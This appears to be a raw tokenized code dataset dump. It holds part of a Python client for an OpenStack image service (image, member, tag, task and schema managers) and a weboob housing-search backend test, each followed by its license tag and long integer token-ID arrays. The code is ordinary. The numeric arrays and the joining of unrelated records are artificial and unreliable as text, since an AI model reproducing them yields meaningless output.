member_status=member_status, owner=owner, tag=tag,
status=status, size_min=size_min, size_max=size_max,
sort_key=sort_key, sort_dir=sort_dir, return_raw=True)
data = resp_body.get(self.plural_response_key, resp_body)
next_uri = strip_version(resp_body.get("next", ""))
ret = [obj_class(manager=self, info=res) for res in data if res]
while next_uri:
resp, resp_body = self.api.method_get(next_uri)
data = resp_body.get(self.plural_response_key, resp_body)
next_uri = strip_version(resp_body.get("next", ""))
ret.extend([obj_class(manager=self, info=res)
for res in data if res])
return ret
def create(self, name, img_format=None, img_container_format=None,
data=None, container=None, obj=None, metadata=None):
"""
Creates a new image with the specified name. The image data can either
be supplied directly in the 'data' parameter, or it can be an image
stored in the object storage service. In the case of the latter, you
can either supply the container and object names, or simply a
StorageObject reference.
You may specify the image and image container formats; if unspecified,
the default of "vhd" for image format and "bare" for image container
format will be used.
NOTE: This is blocking, and may take a while to complete.
"""
if img_format is None:
img_format = "vhd"
if img_container_format is None:
img_container_format = "bare"
headers = {
"X-Image-Meta-name": name,
"X-Image-Meta-disk_format": img_format,
"X-Image-Meta-container_format": img_container_format,
}
if data:
img_data = data
else:
ident = self.api.identity
region = self.api.region_name
clt = ident.get_client("object_store", region)
if not isinstance(obj, StorageObject):
obj = clt.get_object(container, obj)
img_data = obj.fetch()
uri = "%s/images" % self.uri_base
resp, resp_body = self.api.method_post(uri, headers=headers,
data=img_data)
def update(self, img, value_dict):
"""
Accepts an image reference (object or ID) and dictionary of key/value
pairs, where the key is an attribute of the image, and the value is the
desired new value for that image.
NOTE: There is a bug in Glance where the 'add' operation returns a 409
if the property already exists, which conflicts with the spec. So to
get around this a fresh copy of the image must be retrieved, and the
value of 'op' must be determined based on whether this attribute exists
or not.
"""
img = self.get(img)
uri = "/%s/%s" % (self.uri_base, utils.get_id(img))
body = []
for key, val in value_dict.items():
op = "replace" if key in img.__dict__ else "add"
body.append({"op": op,
"path": "/%s" % key,
"value": val})
headers = {"Content-Type":
"application/openstack-images-v2.1-json-patch"}
resp, resp_body = self.api.method_patch(uri, body=body, headers=headers)
def update_image_member(self, img_id, status):
"""
Updates the image whose ID is given with the status specified. This
must be called by the user whose project_id is in the members for the
image. If called by the owner of the image, an InvalidImageMember
exception will be raised.
Valid values for 'status' include:
pending
accepted
rejected
Any other value will result in an InvalidImageMemberStatus exception
being raised.
"""
if status not in ("pending", "accepted", "rejected"):
raise exc.InvalidImageMemberStatus("The status value must be one "
"of 'accepted', 'rejected', or 'pending'. Received: '%s'" %
status)
api = self.api
project_id = api.identity.tenant_id
uri = "/%s/%s/members/%s" % (self.uri_base, img_id, project_id)
body = {"status": status}
try:
resp, resp_body = self.api.method_put(uri, body=body)
except exc.NotFound as e:
raise exc.InvalidImageMember("The update member request could not "
"be completed. No member request for that image was found.")
class ImageMemberManager(BaseManager):
"""
Manager class for members (users) of an Image.
"""
def _create_body(self, name, project_id):
"""
Used to create the dict required to add a member to this image.
"""
body = {"member": project_id}
return body
def create(self, name, *args, **kwargs):
"""
Need to wrap the default call to handle exceptions.
"""
try:
return super(ImageMemberManager, self).create(name, *args, **kwargs)
except Exception as e:
if e.http_status == 403:
raise exc.UnsharableImage("You cannot share a public image.")
else:
raise
class ImageTagManager(BaseManager):
"""
Manager class for Image tags.
"""
def _create_body(self, name):
"""
Not used; the add() method is used with a PUT request.
"""
return {}
def add(self, tag):
"""
"""
uri = "/%s/%s" % (self.uri_base, tag)
resp, resp_body = self.api.method_put(uri)
class ImageTasksManager(BaseManager):
"""
Manager class for ImageTasks.
"""
def _create_body(self, name, img=None, cont=None, img_format=None,
img_name=None):
"""
Used to create a new task. Since tasks don't have names, the required
'name' parameter is used for the type of task: 'import' or 'export'.
"""
img = utils.get_id(img)
cont = utils.get_name(cont)
body = {"type": name}
if name == "export":
body["input"] = {
"image_uuid": img,
"receiving_swift_container": cont}
else:
nm = "%s/%s" % (cont, utils.get_name(img))
body["input"] = {
"image_properties": {"name": img_name or img},
"import_from": nm,
"import_from_format": img_format or DEFAULT_FORMAT}
return body
def create(self, name, *args, **kwargs):
"""
Standard task creation, but first check for the existence of the
containers, and raise an exception if they don't exist.
"""
cont = kwargs.get("cont")
if cont:
# Verify that it exists. If it doesn't, a NoSuchContainer exception
# will be raised.
api = self.api
rgn = api.region_name
cf = api.identity.object_store[rgn].client
cf.get_container(cont)
return super(ImageTasksManager, self).create(name, *args, **kwargs)
class JSONSchemaManager(BaseManager):
"""
Manager class for retrieving JSON schemas.
"""
def _create_body(self, name):
"""
Not used.
"""
pass
def images(self):
"""
Returns a json-schema document that represents an image members entity,
which is a container of image member entities.
"""
uri = "/%s/images" % self.uri_base
resp, resp_body = self.api.method_get(uri)
return resp_body
def image(self):
"""
Returns a json-schema document that represents a single image entity.
"""
uri = "/%s/image" % self.uri_base
resp, resp_body = self.api.method_get(uri)
return resp_body
def image_members(self):
"""
Returns a json-schema document that represents an image members entity
(a container of member entities).
"""
uri = "/%s/members" % self.uri_base
resp, resp_body = self.api.method_get(uri)
return resp_body
def image_member(self):
"""
Returns a json-schema document that represents an image member entity.
(a container of member entities).
"""
uri = "/%s/member" % self.uri_base
resp, resp_body = self.api.method_get(uri)
return resp_body
def image_tasks(self):
"""
Returns a json-schema document that represents a container of tasks
entities.
"""
uri = "/%s/tasks" % self.uri_base
resp, resp_body = self.api.method_get(uri)
return resp_body
def image_task(self):
"""
Returns a json-schema document that represents an task entity.
"""
uri = "/%s/task" % self.uri_base
resp, resp_body = self.api.method_get(uri)
return resp_body
class ImageClient(BaseClient):
"""
This is the primary class for interacting with Images.
"""
name = "Images"
def _configure_manager(self):
"""
Create the manager to handle queues.
"""
self._manager = ImageManager(self, resource_class=Image,
response_key="", plural_response_key="images",
uri_base="images")
self._tasks_manager = ImageTasksManager(self, resource_class=ImageTask,
response_key="", plural_response_key="tasks",
uri_base="tasks")
self._schema_manager = JSONSchemaManager(self, resource_class=None,
response_key="", plural_response_key="", uri_base="schemas")
def list(self, limit=None, marker=None, name=None, visibility=None,
member_status=None, owner=None, tag=None, status=None,
size_min=None, size_max=None, sort_key=None, sort_dir=None):
"""
Returns a list of resource objects. Pagination is supported through the
optional 'marker' and 'limit' parameters. Filtering the returned value
is possible by specifying values for any of the other parameters.
"""
return self._manager.list(limit=limit, marker=marker, name=name,
visibility=visibility, member_status=member_status,
owner=owner, tag=tag, status=status, size_min=size_min,
size_max=size_max, sort_key=sort_key, sort_dir=sort_dir)
def list_all(self, name=None, visibility=None, member_status=None,
owner=None, tag=None, status=None, size_min=None, size_max=None,
sort_key=None, sort_dir=None):
"""
Returns all of the images in one call, rather than in paginated batches.
The same filtering options available in list() apply here, with the
obvious exception of limit and marker.
"""
return self._manager.list_all(name=name, visibility=visibility,
member_status=member_status, owner=owner, tag=tag,
status=status, size_min=size_min, size_max=size_max,
sort_key=sort_key, sort_dir=sort_dir)
def update(self, img, value_dict):
"""
Accepts an image reference (object or ID) and dictionary of key/value
pairs, where the key is an attribute of the image, and the value is the
desired new value for that image.
"""
return self._manager.update(img, value_dict)
def create(self, name, img_format=None, data=None, container=None,
obj=None, metadata=None):
"""
Creates a new image with the specified name. The image data can either
be supplied directly in the 'data' parameter, or it can be an image
stored in the object storage service. In the case of the latter, you
can either supply the container and object names, or simply a
StorageObject reference.
"""
return self._manager.create(name, img_format, data=data,
container=container, obj=obj)
def change_image_name(self, img, newname):
"""
Image name can be changed via the update() method. This is simply a
convenience method.
"""
return self.update(img, {"name": newname})
@assure_image
def list_image_members(self, img):
"""
Returns a list of members (users) of the specified image.
"""
return img.list_members()
@assure_image
def get_image_member(self, img, member):
"""
Returns the ImageMember object representing the specified member for the
specified image.
"""
return img.get_member(member)
@assure_image
def add_image_member(self, img, project_id):
"""
Adds the project (tenant) represented by the project_id as a member of
the specified image.
"""
return img.add_member(project_id)
@assure_image
def delete_image_member(self, img, project_id):
"""
Removes the project (tenant) represented by the project_id as a member
of the specified image.
"""
return img.delete_member(project_id)
def update_image_member(self, img_id, status):
"""
Updates the image whose ID is given with the status specified. This
must be called by the user whose project_id is in the members for the
image; that is, the user with whom the image is being shared. If called
by the owner of the image, an `InvalidImageMember` exception will be
raised.
Valid values for 'status' include:
pending
accepted
rejected
Any other value will result in an `InvalidImageMemberStatus` exception
being raised.
"""
return self._manager.update_image_member(img_id, status)
@assure_image
def add_image_tag(self, img, tag):
"""
Adds the tag to the specified image.
"""
return img.add_tag(tag)
@assure_image
def delete_image_tag(self, img, tag):
"""
Deletes the tag from the specified image.
"""
return img.delete_tag(tag)
def list_tasks(self):
"""
Returns a list of all tasks.
"""
return self._tasks_manager.list()
def get_task(self, task):
"""
Returns the ImageTask object for the supplied ID.
"""
return self._tasks_manager.get(task)
def export_task(self, img, cont):
"""
Creates a task to export the specified image to the swift container
named in the 'cont' parameter. If the container does not exist, a
NoSuchContainer exception is raised.
The 'img' parameter can be either an Image object or the ID of an
image. If these do not correspond to a valid image, a NotFound
exception is raised.
"""
return self._tasks_manager.create("export", img=img, cont=cont)
def import_task(self, img, cont, img_format=None, img_name=None):
"""
Creates a task to import the specified image from the swift container
named in the 'cont' parameter. The new image will be named the same as
the object in the container unless you specify a value for the
'img_name' parameter.
By default it is assumed that the image is in 'vhd' format; if it is
another format, you must specify that in the 'img_format' parameter.
"""
return self._tasks_manager.create("import", img=img, cont=cont,
img_format=img_format, img_name=img_name)
def get_images_schema(self):
"""
Returns a json-schema document that represents an image members entity,
which is a container of image member entities.
"""
return self._schema_manager.images()
def get_image_schema(self):
"""
Returns a json-schema document that represents a single image entity.
"""
return self._schema_manager.image()
def get_image_members_schema(self):
"""
Returns a json-schema document that represents an image members entity
(a container of member entities).
"""
return self._schema_manager.image_members()
def get_image_member_schema(self):
"""
Returns a json-schema document that represents an image member entity.
(a container of member entities).
"""
return self._schema_manager.image_member()
def get_image_tasks_schema(self):
"""
Returns a json-schema document that represents a container of tasks
entities.
"""
return self._schema_manager.image_tasks()
def get_image_task_schema(self):
"""
Returns a json-schema document that represents an task entity.
"""
return self._schema_manager.image_task()
|
apache-2.0
|
[
3,
1882,
2803,
26,
2774,
13,
24,
1882,
199,
199,
3,
1898,
334,
67,
9,
7280,
32679,
19635,
12,
3277,
14,
199,
199,
3,
2900,
5924,
5702,
14,
199,
3,
199,
3,
259,
3909,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
334,
1589,
298,
3761,
3547,
1265,
1443,
199,
3,
259,
440,
675,
642,
570,
871,
315,
4151,
543,
314,
844,
14,
2047,
1443,
3332,
199,
3,
259,
282,
1331,
402,
314,
844,
737,
199,
3,
199,
3,
260,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
199,
3,
199,
3,
259,
4158,
1415,
701,
3964,
4179,
503,
4193,
370,
315,
3575,
12,
2032,
199,
3,
259,
1854,
1334,
314,
844,
365,
1854,
641,
376,
298,
1179,
2281,
2,
4207,
12,
2428,
199,
3,
259,
2990,
1549,
4217,
1634,
1821,
3826,
12,
1902,
4056,
503,
2478,
14,
1666,
314,
199,
3,
259,
844,
367,
314,
2488,
2637,
4210,
3443,
436,
4204,
199,
3,
259,
1334,
314,
844,
14,
199,
199,
504,
9143,
492,
14018,
199,
199,
646,
23944,
199,
504,
23944,
14,
785,
63,
3494,
492,
10533,
1692,
199,
504,
23944,
14,
1258,
492,
3523,
3041,
199,
646,
23944,
14,
3924,
465,
3178,
199,
504,
23944,
14,
2609,
492,
3523,
2988,
199,
504,
23944,
14,
1927,
492,
3523,
4031,
199,
646,
23944,
14,
1208,
465,
3778,
421,
199,
3472,
63,
4807,
275,
298,
20961,
2,
421,
199,
318,
2661,
608,
63,
1569,
8,
2324,
67,
304,
272,
408,
272,
19107,
282,
1834,
2870,
3032,
465,
314,
283,
1569,
7,
2725,
370,
282,
1834,
909,
14,
272,
408,
272,
768,
13582,
8,
2324,
67,
9,
272,
347,
485,
9130,
8,
277,
12,
6050,
12,
627,
589,
12,
1011,
958,
304,
267,
340,
440,
1228,
8,
4060,
12,
6047,
304,
288,
327,
9498,
506,
314,
2870,
288,
6050,
275,
291,
423,
2609,
14,
362,
8,
4060,
9,
267,
372,
4325,
67,
8,
277,
12,
6050,
12,
627,
589,
12,
1011,
958,
9,
272,
372,
485,
9130,
4388,
199,
533,
6047,
8,
1563,
4031,
304,
272,
408,
272,
961,
1021,
8469,
376,
6047,
14,
272,
408,
272,
347,
636,
826,
721,
277,
12,
5256,
12,
2256,
12,
790,
29,
403,
12,
6511,
29,
797,
12,
288,
3653,
63,
2609,
63,
533,
29,
403,
12,
1947,
63,
2609,
63,
533,
29,
403,
304,
267,
1613,
8,
3491,
12,
291,
2843,
826,
721,
2609,
12,
2256,
12,
790,
29,
498,
12,
6511,
29,
4591,
9,
267,
3653,
63,
2609,
63,
533,
275,
3653,
63,
2609,
63,
533,
503,
6047,
7021,
2988,
267,
1947,
63,
2609,
63,
533,
275,
1947,
63,
2609,
63,
533,
503,
6047,
1931,
2988,
267,
291,
423,
1114,
63,
2609,
275,
3653,
63,
2609,
63,
533,
8,
277,
14,
2609,
14,
1246,
12,
355,
2073,
63,
533,
29,
3491,
7021,
12,
1177,
63,
498,
8772,
355,
11718,
63,
1310,
63,
498,
628,
6334,
401,
5108,
63,
1095,
628,
4782,
3149,
83,
15,
6334,
2,
450,
355,
291,
14,
344,
9,
267,
291,
423,
1450,
63,
2609,
275,
1947,
63,
2609,
63,
533,
8,
277,
14,
2609,
14,
1246,
12,
355,
2073,
63,
533,
29,
3491,
1931,
12,
1177,
63,
498,
8772,
355,
11718,
63,
1310,
63,
498,
628,
2969,
401,
5108,
63,
1095,
628,
4782,
3149,
83,
15,
2969,
2,
450,
355,
291,
14,
344,
9,
267,
291,
423,
2865,
63,
2918,
275,
359,
355,
298,
957,
14,
8085,
2638,
363,
17,
363,
1506,
63,
1018,
401,
355,
298,
957,
14,
8085,
2638,
363,
17,
363,
1506,
63,
11122,
401,
355,
298,
957,
14,
8085,
2638,
363,
17,
363,
1506,
63,
8085,
2242,
401,
355,
298,
957,
14,
8085,
2638,
363,
17,
363,
1419,
401,
355,
298,
957,
14,
8085,
2638,
363,
17,
363,
3246,
63,
1375,
401,
355,
298,
957,
14,
8085,
2638,
363,
17,
363,
3221,
63,
1506,
63,
602,
401,
355,
298,
957,
14,
8085,
2638,
363,
17,
363,
3221,
63,
344,
401,
355,
298,
957,
14,
8085,
2638,
363,
17,
363,
3221,
63,
1023,
401,
355,
298,
957,
14,
8085,
2638,
363,
17,
363,
1365,
401,
355,
298,
957,
14,
8085,
2638,
363,
17,
363,
6604,
63,
1018,
401,
355,
298,
957,
14,
8085,
2638,
363,
17,
363,
6604,
63,
11122,
401,
355,
298,
957,
14,
8085,
2638,
363,
17,
363,
6604,
63,
8085,
2242,
401,
355,
298,
493,
401,
355,
298,
842,
63,
466,
63,
19562,
63,
4908,
401,
355,
298,
842,
63,
466,
63,
6081,
344,
401,
355,
298,
842,
63,
466,
63,
344,
401,
355,
298,
842,
63,
466,
63,
4844,
63,
887,
401,
355,
298,
842,
63,
466,
63,
354,
401,
355,
298,
842,
63,
466,
63,
1231,
63,
4908,
401,
355,
298,
842,
63,
466,
63,
82,
400,
88,
63,
4778,
401,
355,
298,
842,
63,
466,
63,
9286,
401,
355,
298,
842,
63,
466,
63,
30863,
63,
3463,
401,
355,
298,
842,
63,
466,
63,
19685,
401,
355,
298,
842,
63,
2580,
401,
355,
298,
1308,
14,
8512,
363,
17,
363,
19134,
401,
355,
298,
1308,
14,
8512,
363,
17,
363,
736,
63,
18371,
401,
355,
298,
1308,
14,
8512,
363,
17,
363,
736,
63,
1023,
401,
355,
298,
14495,
63,
12312,
63,
2913,
401,
355,
298,
14495,
63,
11122,
401,
355,
298,
14495,
63,
1419,
401,
355,
298,
3629,
401,
355,
298,
277,
401,
355,
1622,
2378,
347,
1678,
8,
277,
12,
574,
63,
807,
304,
267,
408,
267,
15506,
83,
282,
436,
2600,
402,
790,
15,
585,
6342,
12,
2382,
314,
790,
365,
376,
267,
2225,
402,
314,
1834,
12,
436,
314,
574,
365,
314,
6387,
892,
574,
367,
626,
267,
1834,
14,
267,
408,
267,
372,
291,
14,
2609,
14,
873,
8,
277,
12,
574,
63,
807,
9,
2378,
347,
1570,
63,
354,
8,
277,
12,
26383,
304,
267,
408,
267,
6047,
536,
883,
506,
2896,
4799,
314,
1678,
342,
1083,
14,
961,
365,
9329,
282,
267,
16777,
1083,
14,
267,
408,
267,
372,
291,
14,
873,
6333,
354,
582,
26383,
1552,
2378,
347,
769,
63,
6334,
8,
277,
304,
267,
408,
267,
1803,
282,
769,
402,
1006,
14409,
83,
367,
642,
1834,
14,
267,
408,
267,
372,
291,
423,
1114,
63,
2609,
14
] |
[
1882,
2803,
26,
2774,
13,
24,
1882,
199,
199,
3,
1898,
334,
67,
9,
7280,
32679,
19635,
12,
3277,
14,
199,
199,
3,
2900,
5924,
5702,
14,
199,
3,
199,
3,
259,
3909,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
334,
1589,
298,
3761,
3547,
1265,
1443,
199,
3,
259,
440,
675,
642,
570,
871,
315,
4151,
543,
314,
844,
14,
2047,
1443,
3332,
199,
3,
259,
282,
1331,
402,
314,
844,
737,
199,
3,
199,
3,
260,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
199,
3,
199,
3,
259,
4158,
1415,
701,
3964,
4179,
503,
4193,
370,
315,
3575,
12,
2032,
199,
3,
259,
1854,
1334,
314,
844,
365,
1854,
641,
376,
298,
1179,
2281,
2,
4207,
12,
2428,
199,
3,
259,
2990,
1549,
4217,
1634,
1821,
3826,
12,
1902,
4056,
503,
2478,
14,
1666,
314,
199,
3,
259,
844,
367,
314,
2488,
2637,
4210,
3443,
436,
4204,
199,
3,
259,
1334,
314,
844,
14,
199,
199,
504,
9143,
492,
14018,
199,
199,
646,
23944,
199,
504,
23944,
14,
785,
63,
3494,
492,
10533,
1692,
199,
504,
23944,
14,
1258,
492,
3523,
3041,
199,
646,
23944,
14,
3924,
465,
3178,
199,
504,
23944,
14,
2609,
492,
3523,
2988,
199,
504,
23944,
14,
1927,
492,
3523,
4031,
199,
646,
23944,
14,
1208,
465,
3778,
421,
199,
3472,
63,
4807,
275,
298,
20961,
2,
421,
199,
318,
2661,
608,
63,
1569,
8,
2324,
67,
304,
272,
408,
272,
19107,
282,
1834,
2870,
3032,
465,
314,
283,
1569,
7,
2725,
370,
282,
1834,
909,
14,
272,
408,
272,
768,
13582,
8,
2324,
67,
9,
272,
347,
485,
9130,
8,
277,
12,
6050,
12,
627,
589,
12,
1011,
958,
304,
267,
340,
440,
1228,
8,
4060,
12,
6047,
304,
288,
327,
9498,
506,
314,
2870,
288,
6050,
275,
291,
423,
2609,
14,
362,
8,
4060,
9,
267,
372,
4325,
67,
8,
277,
12,
6050,
12,
627,
589,
12,
1011,
958,
9,
272,
372,
485,
9130,
4388,
199,
533,
6047,
8,
1563,
4031,
304,
272,
408,
272,
961,
1021,
8469,
376,
6047,
14,
272,
408,
272,
347,
636,
826,
721,
277,
12,
5256,
12,
2256,
12,
790,
29,
403,
12,
6511,
29,
797,
12,
288,
3653,
63,
2609,
63,
533,
29,
403,
12,
1947,
63,
2609,
63,
533,
29,
403,
304,
267,
1613,
8,
3491,
12,
291,
2843,
826,
721,
2609,
12,
2256,
12,
790,
29,
498,
12,
6511,
29,
4591,
9,
267,
3653,
63,
2609,
63,
533,
275,
3653,
63,
2609,
63,
533,
503,
6047,
7021,
2988,
267,
1947,
63,
2609,
63,
533,
275,
1947,
63,
2609,
63,
533,
503,
6047,
1931,
2988,
267,
291,
423,
1114,
63,
2609,
275,
3653,
63,
2609,
63,
533,
8,
277,
14,
2609,
14,
1246,
12,
355,
2073,
63,
533,
29,
3491,
7021,
12,
1177,
63,
498,
8772,
355,
11718,
63,
1310,
63,
498,
628,
6334,
401,
5108,
63,
1095,
628,
4782,
3149,
83,
15,
6334,
2,
450,
355,
291,
14,
344,
9,
267,
291,
423,
1450,
63,
2609,
275,
1947,
63,
2609,
63,
533,
8,
277,
14,
2609,
14,
1246,
12,
355,
2073,
63,
533,
29,
3491,
1931,
12,
1177,
63,
498,
8772,
355,
11718,
63,
1310,
63,
498,
628,
2969,
401,
5108,
63,
1095,
628,
4782,
3149,
83,
15,
2969,
2,
450,
355,
291,
14,
344,
9,
267,
291,
423,
2865,
63,
2918,
275,
359,
355,
298,
957,
14,
8085,
2638,
363,
17,
363,
1506,
63,
1018,
401,
355,
298,
957,
14,
8085,
2638,
363,
17,
363,
1506,
63,
11122,
401,
355,
298,
957,
14,
8085,
2638,
363,
17,
363,
1506,
63,
8085,
2242,
401,
355,
298,
957,
14,
8085,
2638,
363,
17,
363,
1419,
401,
355,
298,
957,
14,
8085,
2638,
363,
17,
363,
3246,
63,
1375,
401,
355,
298,
957,
14,
8085,
2638,
363,
17,
363,
3221,
63,
1506,
63,
602,
401,
355,
298,
957,
14,
8085,
2638,
363,
17,
363,
3221,
63,
344,
401,
355,
298,
957,
14,
8085,
2638,
363,
17,
363,
3221,
63,
1023,
401,
355,
298,
957,
14,
8085,
2638,
363,
17,
363,
1365,
401,
355,
298,
957,
14,
8085,
2638,
363,
17,
363,
6604,
63,
1018,
401,
355,
298,
957,
14,
8085,
2638,
363,
17,
363,
6604,
63,
11122,
401,
355,
298,
957,
14,
8085,
2638,
363,
17,
363,
6604,
63,
8085,
2242,
401,
355,
298,
493,
401,
355,
298,
842,
63,
466,
63,
19562,
63,
4908,
401,
355,
298,
842,
63,
466,
63,
6081,
344,
401,
355,
298,
842,
63,
466,
63,
344,
401,
355,
298,
842,
63,
466,
63,
4844,
63,
887,
401,
355,
298,
842,
63,
466,
63,
354,
401,
355,
298,
842,
63,
466,
63,
1231,
63,
4908,
401,
355,
298,
842,
63,
466,
63,
82,
400,
88,
63,
4778,
401,
355,
298,
842,
63,
466,
63,
9286,
401,
355,
298,
842,
63,
466,
63,
30863,
63,
3463,
401,
355,
298,
842,
63,
466,
63,
19685,
401,
355,
298,
842,
63,
2580,
401,
355,
298,
1308,
14,
8512,
363,
17,
363,
19134,
401,
355,
298,
1308,
14,
8512,
363,
17,
363,
736,
63,
18371,
401,
355,
298,
1308,
14,
8512,
363,
17,
363,
736,
63,
1023,
401,
355,
298,
14495,
63,
12312,
63,
2913,
401,
355,
298,
14495,
63,
11122,
401,
355,
298,
14495,
63,
1419,
401,
355,
298,
3629,
401,
355,
298,
277,
401,
355,
1622,
2378,
347,
1678,
8,
277,
12,
574,
63,
807,
304,
267,
408,
267,
15506,
83,
282,
436,
2600,
402,
790,
15,
585,
6342,
12,
2382,
314,
790,
365,
376,
267,
2225,
402,
314,
1834,
12,
436,
314,
574,
365,
314,
6387,
892,
574,
367,
626,
267,
1834,
14,
267,
408,
267,
372,
291,
14,
2609,
14,
873,
8,
277,
12,
574,
63,
807,
9,
2378,
347,
1570,
63,
354,
8,
277,
12,
26383,
304,
267,
408,
267,
6047,
536,
883,
506,
2896,
4799,
314,
1678,
342,
1083,
14,
961,
365,
9329,
282,
267,
16777,
1083,
14,
267,
408,
267,
372,
291,
14,
873,
6333,
354,
582,
26383,
1552,
2378,
347,
769,
63,
6334,
8,
277,
304,
267,
408,
267,
1803,
282,
769,
402,
1006,
14409,
83,
367,
642,
1834,
14,
267,
408,
267,
372,
291,
423,
1114,
63,
2609,
14,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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boob is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# weboob is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Affero General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with weboob. If not, see <http://www.gnu.org/licenses/>.
import itertools
from weboob.capabilities.housing import Query
from weboob.tools.test import BackendTest
class ExplorimmoTest(BackendTest):
MODULE = 'explorimmo'
def test_explorimmo(self):
query = Query()
query.area_min = 20
query.cost_max = 900
query.cities = []
for city in self.backend.search_city('paris'):
city.backend = self.backend.name
query.cities.append(city)
results = list(itertools.islice(self.backend.search_housings(query), 0, 20))
self.assertTrue(len(results) > 0)
self.backend.fillobj(results[0], 'phone')
|
agpl-3.0
|
[
3,
1882,
2803,
26,
2774,
13,
24,
1882,
199,
199,
3,
1898,
8,
35,
9,
6927,
420,
6423,
90,
274,
80,
762,
199,
3,
199,
3,
961,
570,
365,
1777,
402,
29896,
14,
199,
3,
199,
3,
29896,
365,
2867,
2032,
26,
1265,
883,
3604,
652,
436,
15,
269,
2811,
199,
3,
652,
1334,
314,
2895,
402,
314,
1664,
4265,
1696,
1684,
844,
465,
3267,
701,
199,
3,
314,
2868,
2290,
2752,
12,
1902,
1015,
650,
402,
314,
844,
12,
503,
199,
3,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
29896,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
1666,
314,
199,
3,
1664,
4265,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
4265,
1696,
1684,
844,
199,
3,
3180,
543,
29896,
14,
982,
440,
12,
1937,
665,
1014,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
4743,
199,
199,
646,
7975,
199,
504,
29896,
14,
10732,
14,
526,
4941,
492,
8133,
199,
504,
29896,
14,
2537,
14,
396,
492,
25674,
774,
421,
199,
533,
1316,
1168,
269,
1017,
573,
774,
8,
8447,
774,
304,
272,
30223,
275,
283,
476,
1168,
269,
1017,
573,
7,
339,
347,
511,
63,
476,
1168,
269,
1017,
573,
8,
277,
304,
267,
1827,
275,
8133,
342,
267,
1827,
14,
6789,
63,
827,
275,
3388,
267,
1827,
14,
6336,
63,
988,
275,
27151,
267,
1827,
14,
18207,
275,
942,
267,
367,
14492,
315,
291,
14,
4620,
14,
1733,
63,
3690,
360,
462,
374,
735,
288,
14492,
14,
4620,
275,
291,
14,
4620,
14,
354,
288,
1827,
14,
18207,
14,
740,
8,
3690,
9,
398,
2058,
275,
769,
8,
17691,
14,
374,
3037,
8,
277,
14,
4620,
14,
1733,
63,
526,
527,
780,
8,
1131,
395,
378,
12,
3388,
430,
267,
291,
14,
1815,
8,
552,
8,
2604,
9,
690,
378,
9,
398,
291,
14,
4620,
14,
1289,
25678,
8,
2604,
59,
16,
467,
283,
9339,
358,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
